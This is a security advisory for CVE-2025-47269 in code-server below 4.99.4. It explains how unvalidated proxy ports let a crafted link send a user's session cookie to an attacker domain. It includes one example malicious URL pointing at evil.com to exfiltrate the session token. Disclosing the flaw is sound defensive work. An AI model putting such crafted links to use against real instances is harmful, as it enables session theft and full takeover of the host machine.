    code-server's session cookie can be extracted by having user visit specially crafted proxy URL

    CVE-2025-47269 · GHSA-p483-wpfp-42cj

    Affected
    • npm code-server < 4.99.4
    Fixed in
    4.99.4· Vendor fix available
    Issue
    A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Details Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server/proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token. Impact Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. Patches Patched versions are from v4.99.4 onward.

    Recommended action: Upgrade to 4.99.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
